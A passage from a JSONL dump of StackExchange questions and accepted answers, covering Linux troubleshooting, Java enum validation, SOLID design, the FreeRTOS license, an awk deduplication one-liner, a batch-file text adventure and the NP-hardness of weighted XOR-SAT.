HWCursor off(or change it appropriately, if already present)restart Xorg; this can be done in a number of ways:log out and ingo into a virtual terminal and kill it, e.g. killall Xorg (usually has to be done with root privileges) - the X server should be respawned after being killedrestart your computerSource: http://www.pendrivelinux.com/mouse-pointer-disappears-after-switching-users/"  } 
{  "id": "_softwareengineering.336284"  , "question": "I'm just starting to explore SOLID and I'm unsure if reading from files and writing to files are the same responsibility.The target is the same file type; I want to read and write .pdf's in my application.The application is in Python if that makes any difference. "  , "title": "When following SOLID, are reading and writing files two separate responsibilities?"  , "tags": "object oriented design;solid;single responsibility"  , "accepted_answer": "The reading and writing implementation have a high probability of being highly cohesive. If one would change, so would the other. High cohesion is a strong indication of a Single Responsibility and the Single Responsibility Principle tells us that they should be put together in the same class.If however there are consumers that only read data without writing, or only write without reading, it is a indication that from an interface perspective you should separate these operations, as prescribed by the Interface Segregation Principle. This means that the consumers should define two interfaces that they can depend on, while the File class will implement both interfaces."  } 
{  "id": "_webmaster.75814"  , "question": "My google webmaster tools is only showing a small subset of the full data for search traffic. I have 83 clicks but it's only displaying 5 clicks. Same with the impressions showing 831 impressions but only listing 138. Is there a way to see the complete data?"  , "title": "Google Webmaster Tools doesn't show all clicks"  , "tags": "seo;google search console"  } 
{  "id": "_codereview.156013"  , "question": "I've written the following enum and have added a function, fromValue that allows the caller to map given int into the enum value. I was wondering if the value passed to the function can be validated, or is returning a null in case the value isn't present in the map (is an invalid enum) sufficient?public enum TestEnum {    A(0x00),    B(0x01),    C(0x02);    int test;    private static final Map<Integer, TestEnum> VALUE_TO_TEST_ENUM;    static {        final Map<Integer, TestEnum> tmpMap = new HashMap<>();        for (TestEnum testEnum : TestEnum.values()) {            tmpMap.put(testEnum.test, testEnum);        }        VALUE_TO_TEST_ENUM = ImmutableMap.copyOf(tmpMap);    }    TestEnum(final int test) {        this.test = test;    }    public static TestEnum fromValue(final int value) {        // Add validation?        return VALUE_TO_TEST_ENUM.get(value);    }}"  , "title": "Validate input that maps int to enum"  , "tags": "java;validation;enum;hash map"  , "accepted_answer": "Every instance in an enum already has an ordinal (the 0-based position of the value in the declaration order of the enum). For example, your instance C.ordinal() will return 2. See: Enum.ordinal(). These are the same values as the ones you are assigning to test. Is that a coincidence?Additionally, you're using a small range of 0-based values for the test field, and as a consequence, an array will be a better storage option than a Map. Even if the array is as much as 80% empty it would still be more efficient (space and performance) than the Map.About the exception - yes, I would throw a NoSuchElementException if the user tries to get a value that does not exist. Enums are compile-time constants and any use of the enum that's not legal should be reported, and found as soon as possible. In a sense, it's for this reason that Enums exist - to give compile-time certainty that your code references meaningful constants. The very fact that you are mapping the enum values back to an int is itself a bit concerning.There is no need to make the Map a read-only map. The map is completely contained/encapsulated in the enum and no other write accesses exist, and no user can write to it, so it's redundant to make it read-only.If your values can span a (very) wide range I would keep your Map-based lookup, but change the code to be:private static final Map<Integer, TestEnum> VALUE_TO_TEST_ENUM = new HashMap<>();static {    for (TestEnum testEnum : TestEnum.values()) {        tmpMap.put(testEnum.test, testEnum);    }}public static TestEnum fromValue(final int value) {    // Add validation?    TestEnum v = VALUE_TO_TEST_ENUM.get(value);    if (v == null) {         throw new NoSuchElementException(No enum with value ' + value + '.);    }    return v;}If your values are in a small range, at, or close to 0, I would do:private static final TestEnum[] VALUE_TO_TEST_ENUM;static {    int max = 0;    for (TestEnum testEnum : TestEnum.values()) {        max = Math.max(max, testEnum.test);    }    VALUE_TO_TEST_ENUM = new int[max + 1];    for (TestEnum testEnum : TestEnum.values()) {        VALUE_TO_TEST_ENUM[testEnum.test] = testEnum;    }}public static TestEnum fromValue(final int value) {    // Add validation?    if (value < 0 || value >= VALUE_TO_TEST_ENUM.length) {         throw new NoSuchElementException(No enum with value ' + value + '.);    }    TestEnum v = VALUE_TO_TEST_ENUM[value];    if (v == null) {         throw new NoSuchElementException(No enum with value ' + value + '.);    }    return v;}If your test values are from 0 to n-1 and are the same as the ordinals of the enums, then I would completely get rid of the test value, and have the code:private static final TestEnum[] VALUE_TO_TEST_ENUM;static {    VALUE_TO_TEST_ENUM = TestEnum.values();}public static TestEnum fromValue(final int value) {    // Add validation?    if (value < 0 || value >= VALUE_TO_TEST_ENUM.length) {         throw new NoSuchElementException(No enum with value ' + value + '.);    }    return VALUE_TO_TEST_ENUM[value];}"  } 
{  "id": "_webapps.3790"  , "question": "Is there a way to see a list of my pending friend requests on Facebook - that is, a list of people to whom I have sent a friend request, but who have not responded.  I know that status is indicated when I look at a list of friends on account - edit friends - all connections list, but I don't see a way to filter that list by this criterion."  , "title": "Is there a way to see a list of pending friend requests on Facebook?"  , "tags": "facebook"  , "accepted_answer": "There is an Application that (for the moment, anyway) will perform this function. It's called, predictably, Pending Friend Requests.Source"  } 
{  "id": "_unix.82249"  , "question": "I updated motherboard on x240 computer node, now the ethernet interfaces show up as eth2 and eth3 previously it was eth0 and eth1.I tried to delete /etc/udev/rules.d/70-persistent-net.rules file but the problem still persists. On boot it says that eth3 and eth2 cannot be recognized or mapped. The new mac addresses are clearly illustrated and mapped to name files eth2 and eth3.I did change in file ifcfg eth2 and eth3 and change its name to eth0 and eth1 respectively. But this too had little effect, do I need this change to be done in 70-persistent file as well? I.e. change name to match the entry in ifcfg?.Is there a way i can bring the old mapping back? Thanks."  , "title": "Unable to recognize old interfaces after motherboard update"  , "tags": "ubuntu;networking;ethernet"  } 
{  "id": "_scicomp.16430"  , "question": "I am solving a problem of the form:$\\dfrac{\\partial u(x,y,t)}{\\partial t} = \\nabla^2 u(x,y,t) - f(x,y,t)u(x,y,t) - \\kappa(x,y,t)$At the moment, I am solving this at each time step by assuming a quasi-steady-state:$\\nabla^2 u(x,y,t) = f(x,y,t)u(x,y,t) + \\kappa(x,y,t)$To do this, I use finite differences, which means solving the following (forgetting boundary conditions for now, but for reference they are Neumann) at each time step:$\\dfrac{u^t_{i, j+1} + u^t_{i+1, j} + u^t_{i, j-1} + u^t_{i-1, j} - 4u^t_{i,j}}{h^2} = f^t_{i,j} u^t_{i,j} + \\kappa^t_{i,j}$This means I have to solve a linear system of the form:$Ax = b$Where $A$ is a matrix made of the laplacian, as well as the $f^t_{i,j} u^t_{i,j}$ term. For my 100x100 system (resulting in a laplacian of size 10000x10000), this takes about 0.4 seconds for each time step using Eigen's C++ library solver:SimplicialLLT. However, I would like to speed up solving by any means possible. The issue is that I am limited in the pre-conditioning that I can do since the matrix $A$ changes each time step.Does anyone have any ideas? Finite element, spectral methods, non-steady state approximations all welcome.Before anyone asks, the terms $f^t_{i,j}$ and $\\kappa^t_{i,j}$ cannot be forecast ahead of time, as they depend on $u^{t-1}_{i,j}$. Hence parallelisation is not going to be possible I think. Best,Ben"  , "title": "Solve steady state reaction-diffusion/Helmholtz equation numerically"  , "tags": "finite element;finite difference;linear solver;advection diffusion;spectral method"  } 
{  "id": "_unix.275070"  , "question": "I'm using Linux Mint MATE with Paper theme"  , "title": "Why do strange boxes appear on my Linux Mint MATE?"  , "tags": "linux mint;mate"  } 
{  "id": "_cs.75804"  , "question": "Design a data structure for holding numbers in two sets:Init - initiate the DS with two empty sets. O(1)Insert(a,S) - insert number a to set S (S could be X or Y). O(log(n)). (n is the total number of numbers in the DS)Find - find a number a in the DS such that the number of numbers in X that are smaller than a equals the number of numbers in Y that are bigger than a, if exists such number. O(1)My attempt is using 2 augmented balanced binary search trees, each one presents set X or Y, insert into it the new number and saving in each node information for finding what is the number of numbers in X that are smaller than this node and the number of numbers on Y that are bigger than that node. But given that information how could I implement the Find procedure in O(1)? Or maybe someone have better design (preferably using augmented BST)?"  , "title": "A data structure for holding numbers in 2 sets, using BST?"  , "tags": "data structures;binary search trees"  } 
{  "id": "_webapps.87074"  , "question": "I like to listen to an entire album at a time on YouTube. Many of the actual albums have songs that drift off into each other and all blend together. On YouTube, however, there is a pause in between each video ruining the effect. Is there a way to prevent this pause between tracks?"  , "title": "Prevent pauses between music tracks on YouTube Playlist"  , "tags": "youtube"  } 
{  "id": "_cs.11525"  , "question": "Prove that context free languages aren't closed under this operation: $ A(L) = \\{ zyx \\mid x,y,z \\in \\{0,1 \\}^*, xyz \\in L \\} $Obviously, we need to find a context free language $L$ such that $A(L)$ isn't context free. Here are some of my failed attempts:Take the language $ L = \\{\\ 0^n1^n \\mid n \\in N \\} $ and then (since the intersection of a context free language with a regular language is context free) we get: $ A(L) \\cap 1^*0^*1^*0^*  = \\{\\ 1^{m}0^{n-k}1^{n-m}0^{k} \\mid n,k,m \\in N, m,k\\le n \\} $ which might look promising at first, but unfortunately this language is context free...I also tried my luck with the following languages:$ L = \\{\\ 0^n1^m0^m1^n \\mid n,m \\in N \\} $$ L = \\{\\ ww^R \\mid w \\in \\{0,1 \\}^* \\} $  but these languages didn't help me either..."  , "title": "Prove that context free languages are not closed under swapping prefixes and suffixes"  , "tags": "formal languages;context free;closure properties;pumping lemma"  , "accepted_answer": "Did you try $\\{\\ a^nb^nc^md^m \\mid m,n \\ge 1 \\}$?Or, if you insist on alphabet $\\{0,1\\}$,consider $\\{\\ (01)^n(011)^n(0111)^m(01111)^m \\mid m,n \\ge 1 \\}$?And be shure to intersect with a nice regular language after the operation, but from your question I see that you know how that works."  } 
{  "id": "_opensource.4676"  , "question": "As an example, the real time operating system FreeRTOS is licensed under the FreeRTOS Open Source License which is based on a modified GNU GPL, the modification taking the form of an exception. The GNU GPL is approved by the Open Source Initiative, but not the FreeRTOS Open Source License. If I use FreeRTOS in my software, and the rest of my software is released under an approved Open Source licence, would I be wrong to call my software Open Source?The OSI FAQ says:Can I call my program Open Source even if I don't use an approved license?  Please don't do that. If you call it Open Source without using an approved license, you will confuse people. This is not merely a theoretical concern  we have seen this confusion happen in the past, and it's part of the reason we have a formal license approval process. See also our page on license proliferation for why this is a problem.The Open Source stamp is important to me and I like using FreeRTOS but I also want to call things what they are. I am not 100% sure about this one that is why I prefer to ask here. I asked the question in a generic way so it can also be useful to others."  , "title": "Is it wrong to call a software Open Source if it is using a license based on GNU GPL?"  , "tags": "gpl;open source definition"  , "accepted_answer": "Unfortunately for you, the FreeRTOS license is fundamentally broken:Any FreeRTOS source code, whether modified or in it's original release form, or whether in whole or in part, can only be distributed by you under the terms of the GNU General Public License plus this exception.  An independent module is a module which is not derived from or based on FreeRTOS.And the exception contains in particular:Clause 2:FreeRTOS may not be used for any competitive or comparative purpose, including the publication of any form of run time or compile time metric, without the express permission of Real Time Engineers Ltd. (this is the norm within the industry and is intended to ensure information accuracy).This contradicts the terms of the GPL which contain in particular:You may not impose any further restrictions on the recipients' exercise of the rights granted herein.Now this may sound confusing as the GNU FAQ page contains tons of references to exceptions that can be added to the GPL. And indeed there are tons of existing such exceptions. The most well known is nothing less than LGPL (which is just GPL + an exception). But what all those exceptions have in common is that they do not add any further restrictions. They just grant more rights! And in particular, any person is allowed to distribute the program further under GPL without the exception.What if the exception had been acceptable?If the exception to the GPL had been an exception in the usual sense, then by using GPL + exception, you would a fortiori be distributing your program under GPL, and thus, you would be distributing it under an approved open source license.What about calling your program open source anyway?If you choose to distribute the program you wrote under an open source license but it has a non-open source dependency, then you could just make sure that people understand that when you are saying my program is open source, you are talking about the program itself and not the dependencies. It is still interesting to people: they can replace the dependency by something else if they want and make the whole program open source."  } 
{  "id": "_unix.232581"  , "question": "The script is working:#!/bin/shecho Enter Server IP Addressread IPecho 'mypassword' | sudo -S ssh $IP </home/myscript.sh How do I modify it so I can manually enter the IP address, and then mypassword?"  , "title": "Manually entering a password"  , "tags": "shell script"  } 
{  "id": "_softwareengineering.69018"  , "question": "In my experience before you start working for a company you have no opportunity to look at the code-base (I've asked and for reasons of confidentiality everyone has always said no, I think that is fair), so during the interview process what do you think are the most important questions to ask to find out what kind of state the code is in (after all, if it's a dog, then you are going to be on of the poor unfortunates who has to walk it every day)?UPDATE:A check-list: Ask;What they think of the codebase. And when you do, pay close attention to facial expressions and the time it takes for them to respond. [Anon]What is the company's CMM level [DPD] (and if you hear Level 5 run the other way [Doug T])What lifecycle they use [DPD] (And if you do hear Agile, that's when you start asking some penetrating questions to try to figure out if by Agile they mean Agile or cowboy coding [Carson63000])What tools they use to asses code quality? [DPD]What tools they use for development? [DPD] (Look for refactoring tools and continuous build servers)What source code (version control) system they use, and a good follow up is to ask why they use it. [Zachary K].What are their testing procedures like? [Karl Bielefeldt] (Look especially for teams that use mocking frameworks and place an emphasis on thorough automated unit testing through established frameworks like NUnit / JUnit; don't be put off by teams that don't use test driven development TDD, but be wary if they don't consider testing to be integral to and the cornerstone of solid software development. Look for teams with dedicated testers.)What kinds of assignments are given to new developers? To experienced developers? [Karl Bielefeldt]How many people work on a project? [Karl Bielefeldt]Is refactoring allowed? Encouraged? [Karl Bielefeldt]What quality-related process or architecture changes are under consideration or have been made recently? [Karl Bielefeldt]How much autonomy do individuals have over their modules? [Karl Bielefeldt]Will you be developing newer projects (greenfield development) or legacy projects (brownfield development)? (Greenfield development is generally more fun and has less problems as you aren't cleaning up with someone else's mistakes).Is the employee turnover rate is high in the organization or the team? (This often indicates lower quality of code) [M.Sameer]Some programming problems of your own; but avoid seeming like a jerk. [Sparky]How do the developers collaborate and how is knowledge shared amongst the team? (This should match your personality; I would say a mixture of solo and pair work is probably best, with the ratio matching your social needs)How close their database is to 3rd Normal Form (3NF), and if it deviates where and why? (If they say 3NF???, leave. If not, and there might be good reasons for it not, then find out what they are).NOTE:I've accepted Anon's answer because after about a week the community thinks that it is the best one - I think this suggests that it is just something that you somehow need to develop a sixth-sense for. But, I think everyone has had something valuable to say."  , "title": "How do you ascertain the quality of a potential employer's code before you take a position?"  , "tags": "interview;code quality"  , "accepted_answer": "Rather than ask to see their code, ask what they think of the codebase. And when you do, pay close attention to facial expressions and the time it takes for them to respond.Then apply your knowledge of your culture's non-verbal gestures to interpret what they're really saying. For a North American company, the following should be accurate:A small shrug, and quick response of it could be better: it's probably pretty good.A long pause, intake of breath, perhaps a small laugh: it's not pleasant, and the people that you're interviewing don't feel comfortable telling you that.Rolled eyes, quick response of it sucks: might be good, might be bad, but there are political games happening. Unless you're ready to play that game or be a quiet nobody, stay away.Raised or contracted eyebrows: they don't understand the question, and the codebase is almost certainly putrid.Of course, if you have trouble with inter-personal communication, this might not work for you."  } 
{  "id": "_unix.274963"  , "question": "I am running NUnit tests on Ubuntu via mono. They require the certmgr tool to install certificates and keys that the tests utilize. The user cert/key I can install fine, but the tests fall over if the CA certificate is not installed in the MACHINE rather than LOCAL USER Trust store.However, the Machine store requires sudo to install certificates. The user running the tests, I don't want to give sudo privileges to. Can I reduce the privileges required to install certificates to the machine store?"  , "title": "Can I reduce the privileges level on mono's certificate machine store?"  , "tags": "certificates;mono"  , "accepted_answer": "The machine store keys and certificates are stored in the root user's home directory:/root/.config/.mono/However, when I chmod'd the subdirectories there to provide access to the user in question, it didn't work, I still got permission denied.Instead, I'm taking dave_thompson_085's tip. I gave the user sudo access to mono's certmgr utility and now it's working well."  } 
{  "id": "_unix.244650"  , "question": "I have log files with a time stamp and six values in each linei want to reduce the amount of data, by removing consecutive lines with the same values (ignoring time stamps) and keeping the first and last line of each duplicate set. Preferably using a bash script. It should be a magic sed or awk command combination.Even if i have to parse the file multiple times, reading 3 lines at a time and removing the middle one, is a good solution.original file:1447790360      99999   99999   20.25   20.25   20.25   20.501447790362      20.25   20.25   20.25   20.25   20.25   20.501447790365      20.25   20.25   20.25   20.25   20.25   20.501447790368      20.25   20.25   20.25   20.25   20.25   20.501447790371      20.25   20.25   20.25   20.25   20.25   20.501447790374      20.25   20.25   20.25   20.25   20.25   20.501447790377      20.25   20.25   20.25   20.25   20.25   20.501447790380      20.25   20.25   20.25   20.25   20.25   20.501447790383      20.25   20.25   20.25   20.25   20.25   20.501447790386      20.25   20.25   20.25   20.25   20.25   20.501447790388      20.25   20.25   99999   99999   99999   999991447790389      99999   99999   20.25   20.25   20.25   20.501447790391      20.00   20.25   20.25   20.25   20.25   20.501447790394      20.25   20.25   20.25   20.25   20.25   20.501447790397      20.25   20.25   20.25   20.25   20.25   20.501447790400      20.25   20.25   20.25   20.25   20.25   20.50desired result:1447790360      99999   99999   20.25   20.25   20.25   20.501447790362      20.25   20.25   20.25   20.25   20.25   20.501447790386      20.25   20.25   20.25   20.25   20.25   20.501447790388      20.25   20.25   99999   99999   99999   999991447790389      99999   99999   20.25   20.25   20.25   20.501447790391      20.00   20.25   20.25   20.25   20.25   20.501447790394      20.25   20.25   20.25   20.25   20.25   20.501447790400      20.25   20.25   20.25   20.25   20.25   20.50"  , "title": "Remove partial duplicates consecutive lines but keep first and last"  , "tags": "text processing;sed;awk"  , "accepted_answer": "With awk one liner:awk '{n=$2$3$4$5$6$7}l1!=n{if(p)print l0; print; p=0}l1==n{p=1}{l0=$0; l1=n}END{print}' fileThe whole point is to manipulate few variables: n stores all fields except first in current line, l1 the same for previous line and l0 the whole previous line. The p is just a flag to mark if previous line was already printed."  } 
{  "id": "_softwareengineering.82609"  , "question": "In situations where I need to write observer/subscriber code, how would I choose between the following approaches?A) Declaring an event that simply notifies a client something happens but requires the client to make a query for data e.g.class SoothSayer{    int DaysUntilApocalypse{get;}    event EventHandler<EventArgs> TheEndIsNigh;}B) Declaring an event with specific XXXEventArgs containing the event data e.g.class SoothSayer{    event EventHandler<ApocalypsePendingEventArgs> TheEndIsNigh}class ApocalypsePendingEventArgs:EventArgs{    int DaysLeft{get;}}C)  Using a callback rather than an event e.g.class SoothSayer{    public SoothSayer(Action<int> endIsNighCallback){        _endIsNightCallBack = endIsNighCallback;    }}"  , "title": "How To Choose Between Different Methods of Handling/Raising Events?"  , "tags": "c#;design"  , "accepted_answer": "Version (c) is a form of continuation passing, it is not an event at all.  It is a wholly different method of control flow, and can be used to express some complex types of control flow that are difficult to express with primitive constructs such as loops and conditionals.  For example, it's the basis for asynchrony in C# 5.  All await really does, in essence, is pass a continuation.It is certainly a valid construct, but the answer to when you should use this for event-driven programming is never, because it's not an event.  There is no subscription of any kind; the callback is coupled to method call.  You also can't have multiple subscriptions, which you can have with any old event.So it comes down a choice between (a) using a plain EventHandler or (b) using a custom  MyEventHandler with event data.  And the answer to that is simple: use a custom event if there is important, transient data associated with the event.Imagine if you had to query for the cursor position every time you executed a MouseDown event handler.  It would be completely unreliable, because the mouse position could and often would change between the time the event was fired and the time it was handled.  On the other hand, an Initialized event is pretty self-explanatory; it's only going to happen once in the lifetime of an object and there's really not much else to say about it other than OK, I'm ready!.So, in summary, (a) use the default EventHandler when you've got nothing else interesting to say, (b) use a strong-typed EventHandler<T> when you do, and (c) don't use CPS for event notifications."  } 
{  "id": "_unix.311839"  , "question": "In Backtrack I entered this command :vi /etc/network/interfacesAnd then set these lines :iface eth0 inet staticaddress 192.168.1.10netmask 255.255.255.0network 192.168.1.0gateway 192.168.1.1Saved and exited, then restarted my OS. But when I enter ifconfig command, it shows me that the:inet addr :192.168.1.105Why ?I am sure that the previous vi command is saved because when I again enter command:vi /etc/network/interfacesthe result shows me that:iface eth0 inet staticaddress 192.168.1.10netmask 255.255.255.0network 192.168.1.0gateway 192.168.1.1"  , "title": "Why my IP is not set?"  , "tags": "networking;vi;backtrack"  } 
{  "id": "_cs.19066"  , "question": "I am implementing a sample MESI simulator having two levels of cache (write back). I have added MESI status bits to both levels of cache. As it is a write back cache, the cache line is updated to L2 only when it is flushed. My doubts arewhat should be the behavior when a cache line with INVALID state is flushed from L1 cache. Will it just ignore the transaction? It seems that is the only possibility..but it doesn't seem right.Consider processor1(P1) modifying a cacheline shared by processor2(P2). Then that cache line in P2 will get status INVALID. If P2 has to update the same cache line in future and sees the state is INVALID, it should read the updated value from??what if it is still in modified state in P1(not yet written back to L2/Main memory)? Consider a similar situation that P1 has a cache line in MODIFIED state, P2 has the same line in INVALID state. When P3 tries to retrieve the same line, it broadcasts a request to all L1 caches. According to the theory,if P3 cant get the cache line from any other L1 caches, it sends request to L2/main memory. In this case where will P3 get the requested cache line from? From P1 or from the L2/main memory? Or will P1 update to the main memory first and then send the cache line to P3?I am using LRU for flushing the cache(write back). When flushing a cache if it is INVALID what should be the behavior? It just ignores the line?"  , "title": "MESI Protocol Invalid cache line is attempted to be stored?"  , "tags": "cpu cache;protocols"  } 
{  "id": "_unix.335569"  , "question": "I need to select and output into a file some text contained in a specific string. Let's say the string is: ABCDEFGHIJKLMNOPWhat would be a command to extract what is after ABCDEF and before K? (i.e. GHIJ only) to another file?I tried with grep command but due to my poor understanding of its complexity it failed every time. I must be missing something very basic. Thanks a lot in advance."  , "title": "How to select and output text in a string"  , "tags": "grep;string;output"  } 
{  "id": "_codereview.90329"  , "question": "I just started learning commands for batch files. I figured a project is a good way to learn the language better, so I'm attempting to recreate the text-based RPG, Thy Dungeonman 3.So far, I've learned a lot from fixing a lot of minor problems such as lack of quotation marks, extra spaces at the end of environmental variables, and placement of certain commands that all gave a bit of frustration.I've got a good method down so far, but I feel like I'm being very long-winded with the commands. It might be that I'm just going with what I'm comfortable with, but I am trying to implement ELSE, and IF NOT DEFINED when I can. I'm just looking for some more experienced eyes to see if there is a more concise way of going about this (aside from the CHOICE option, which I plan to implement later, and probably won't fit the scenario now). Here is what I got so far after about 3.5 hours:@echo offcolor 0etitle Thy Dungeon Man 3echo -------------------------------------------------------------echo Thy Dungeon Man 3echo -------------------------------------------------------------pauseecho.echo Objective: Get ye flask!echo. echo Commands: Go, Get, Use, Look, Talk, Dance, etc...pauseecho.echo Type INV to open inventory.pauseclsset boneinv=0set clawsinv=0:Dungeon1echo Ye find yeself in yon dungeon. Thou art tied up with ropes. The spiked walls of the dungeon closeth in on thee. A dongrel skeleton with sharp CLAWS hangs next to you. A BONE layeth upon the ground. Obvious exits are nowheres!:Dungeon1aecho.echo What wouldst thou deau?set /p choice1=echo.if %choice1%==get bone (    if %clawsinv%==0 (        echo.        echo Thou wouldst, if thou weren'st tiedst upst.        echo.        pause        cls        goto Dungeon1a    ))if %choice1%==look (    if %boneinv%==2 (        cls        echo Ye find teself in yon dungeon. The spiked walls of the dungeon are jammed open with a big ol' bone. A stone door layeth open to the NORTH. A dongrel skeleton with sharp CLAWS hangs next to you.        goto Dungeon1a    ) else (        cls        goto Dungeon1    ))if %choice1%==inv (    if %boneinv%==0 (        echo.        echo Nothing but streets and roads. Note to thyself: The spikey walls draw nearer.        echo.        pause        cls        goto Dungeon1a    ))if %choice1%==inv (    if %boneinv%==1 (        echo.        echo Ye has: a big ol' bone, and an unbearable lightness of being.        echo.        pause        cls        goto Dungeon1a    ))if %choice1%==inv (    if %boneinv%==2 (        echo.        echo Nothing but streets and roads.        echo.        pause        cls        goto Dungeon1a    ))if %choice1%==get ye flask (    echo.    echo Ho, ho. Aren't thee witty? Twere it that simple I wouldn't have bothered making this game. Note to thyself: The spikey walls draw nearer.    echo.    pause    cls    goto Dungeon1a)if %choice1%==get flask (    echo.    echo Ho, ho. Aren't thee witty? Twere it that simple I wouldn't have bothered making this game. Note to thyself: The spikey walls draw nearer.    echo.    pause    cls    goto Dungeon1a)if %choice1%==talk dongrel (    echo.    echo Ye decide to waste time talking to the dead dongrel skeleton. Good one.    echo.    pause    cls    goto Dungeon1a)if %choice1%==get claws (    if %clawsinv%==0 (        echo.        echo Now thou art using thy dungeonsmarts! You shimmy all up on the dead dongrel and its razor sharp claws slice through the ties that bind. Thou art free!        echo.        pause        set clawsinv=2        cls        goto Dungeon1a    ))if %choice1%==get bone (   if %clawsinv%==2 (        if %boneinv%==0 (            echo.            echo Bone grasped! Note to thyself: The spikey walls draw nearer.             echo.            pause            set boneinv=1            cls            goto Dungeon1a        )       ))if %choice1%==use bone (    if %boneinv%==1 (        echo.        echo Ye waits until the spiked walls draw dangerously close then thou jammeth the sturdy bone in their collective craw! The walls shudder and quay and finally withdraw! A stone door opens to the NORTH! Exclamations!         echo.        pause        set boneinv=2        cls        goto Dungeon1a    ))if %choice1%==go north (    if %boneinv%==2 (        cls        goto Dungeon2    ))if %choice1%==go south (    if %boneinv%==2 (        echo.        echo The walls in this room are totally cramping thy style.        pause        cls        goto Dungeon1a    ))if %choice1%==go east (    if %boneinv%==2 (        echo.        echo The walls in this room are totally cramping thy style.        pause        cls        goto Dungeon1a    ))    if %choice1%==go west (    if %boneinv%==2 (        echo.        echo The walls in this room are totally cramping thy style.        pause        cls        goto Dungeon1a    ))if not defined %choice1% (    echo.    echo Thou're not very goodst at thist gamest.    echo.    pause    cls    goto Dungeon1a):Dungeon2echo win!pauseexitThis is basically one room of many that I plan to follow the same style of writing for, unless I can find a more efficient way of putting all of the commands. So far, everything is working fine."  , "title": "Thy Dungeonman 3 using batch"  , "tags": "beginner;adventure game;batch"  } 
{  "id": "_webapps.82557"  , "question": "Recently (as of mid August 2015) YouTube has changed its UI so that it automatically sets the resolution to the window size (typically 360) and no longer gives the user the option to choose their resolution. Even if the user goes to full screen, it still stays at 360.How can control the resolution of the video and watch at HD full screen?I would prefer a solution that does not involve installing software or add-ins."  , "title": "YouTube no longer allows user to set resolution"  , "tags": "youtube"  } 
{  "id": "_computergraphics.283"  , "question": "I'm interested in how this applies to higher numbers of dimensions too, but for this question I will focus solely on 2D grids.I know that Perlin noise is not isotropic (direction invariant), and that the underlying square grid shows up enough to be able to identify its orientation. Simplex noise is an improvement on this but its underlying equilateral triangle grid is still not completely obscured.My intuition is that any attempt to make noise of a particular frequency on a grid will result in a lower frequency in directions not aligned to the grid. So while attempts can be made to disguise this, the noise cannot in principle be isotropic unless it is generated without reference to a grid, allowing the average frequency to be the same in all directions.For example, with a square grid without noise, with square side length $n$, the frequency of vertices horizontally or vertically is $\\frac1n$, whereas the frequency of vertices at 45 degrees (through opposite corners of the squares) is $\\frac1{\\sqrt{2}n}$. Is there a random distribution that could be applied to offset the vertex positions that would result in the frequency becoming identical in all directions? My suspicion is that there is no such distribution, but I don't have a way of proving either way.In short, is there a way of making perfect grid based noise of a given frequency, or should I be focused on other approaches (non-grid based noise or ways of disguising artifacts)?"  , "title": "Is all grid based noise inevitably anisotropic?"  , "tags": "noise;grid"  } 
{  "id": "_cs.43956"  , "question": "Given $n$ boolean variables $x_1,\\ldots,x_n$ each of which is assigned a positive cost $c_1,\\ldots,c_n\\in\\mathbb{Z}_{>0}$ and a boolean function $f$ on these variables given in the form$$f(x_1,\\ldots,x_n)=\\bigwedge_{i=1}^k\\bigoplus_{j=1}^{l_i}x_{r_{ij}}$$($\\oplus$ denoting XOR) with $k\\in\\mathbb{Z}_{>0}$, integers $1\\leq l_i\\leq n$ and $1\\leq r_{i1}<\\cdots<r_{il_i}\\leq n$ for all $i=1,\\ldots,k$, $j=1,\\ldots,l_i$, the problem is to find an assignment of minimum cost for $x_1,\\ldots,x_n$ that satisfies $f$, if such an assignment exists. The cost of an assignment is simply given by$$\\sum_{\\substack{i\\in\\{1,\\ldots,n\\}\\\\x_i\\,\\text{true}}}c_i.$$Is this problem NP-hard, that is to say, is the accompanying decision problem Is there a satisfying assignment of cost at most some value $K$ NP-hard?Now, the standard XOR-SAT problem is in P, for it maps directly to the question of solvability of a system of linear equations over $\\mathbb{F}_2$ (see, e. g., https://en.wikipedia.org/wiki/Boolean_satisfiability_problem#XOR-satisfiability). The result of this solution (if it exists) is an affine subspace of $\\mathbb{F}_2^n$. The problem is thus reduced to pick the element corresponding with minimal cost from that subspace. Alas, that subspace may be quite large, and indeed, rewriting $f$ in binary $k\\times n$-matrix form, with a $1$ for each $x_{r_{ij}}$ at the $i$-th row and the $r_{ij}$-th column, and zero otherwise, we get a cost minimization problem subject to$$Ax=1,$$where $A$ is said matrix, $x$ is the column vector consisting of the $x_1,\\ldots,x_n$ and $1$ is the all-1-vector. This is an instance of a binary linear programming problem, which are known to be NP-hard in general. So the question is, is it NP-hard in this particular instance as well?"  , "title": "Is weighted XOR-SAT NP-hard?"  , "tags": "optimization;np hard;satisfiability;integer programming;xor"  , "accepted_answer": "A classical result of Berlekamp, McEliece, and van Tilborg shows that the following problem, maximum likelihood decoding, is NP-complete: given a matrix $A$ and a vector $b$ over $\\mathbb{F}_2$, and an integer $w$, determine whether there is a solution to $Ax = b$ with Hamming weight at most $w$.You can reduce this problem to your problem. The system $Ax = b$ is equivalent to the conjunction of equations of the form $x_{i_1} \\oplus \\cdots \\oplus x_{i_m} = \\beta$. If $\\beta = 1$, this equation is already of the correct form. If $\\beta = 0$ then we XOR an extra variable $y$ to the right-hand side, and then we force this variable to be $1$ by adding an extra equation $y = 1$. We define the weights as follows: $y$ has weight $0$, and the $x_1$ have weight $1$. We have now reached an equivalent formulation of maximum likelihood decoding which is an instance of your problem."  } 
{  "id": "_unix.309418"  , "question": "I have a touch panel (goodix) and I need to send the device configuration to the firmware. I have a *.cfg file but  I neither know nor find how to load this file.Do you know what is the way to load this file?"  , "title": "Load cfg file in kernel driver"  , "tags": "linux kernel;drivers;kernel modules;firmware;touch screen"  } 
{  "id": "_softwareengineering.314892"  , "question": "Until now I didn't find anything good about monitoring a DB's specific table (or related tables) specific values changed. I want to know:Since most of DB's don't support monitoring changes for specific rows/values/columns, how to link them together? (I mean I don't want to use something like Timer or loop to check whether a specific row's value is changed and notify my client).So is it necessary for us to make another new technology that will support notifications to the client application about which is changed in my DB? Or is there anything that has made this come true?"  , "title": "How to do an Automatic DB monitor and notify the client"  , "tags": "database;monitoring"  , "accepted_answer": "Most databases use one-way request-response approach: the client contacts the server and (eventually) expects an answer in return. This, essentially, prevents the server from notifying a client about anything; techniques such as polling, exist, but have their own drawbacks (such as the heavy load on server and network).On the other hand, you seem to expect a two-ways communication; RethinkDB, already quoted in a comment, is one example of a database which supports this, so it may be a solution for the problem you are trying to solve.Another solution would be to simply track the changes within your own application, at data access layer. Depending on the language/framework you use, this could be more or less easy to implement, as well as to use technologies such as WebSockets in order to propagate the changes down to the end users.Finally, if you need to track changes to a table which is used across multiple 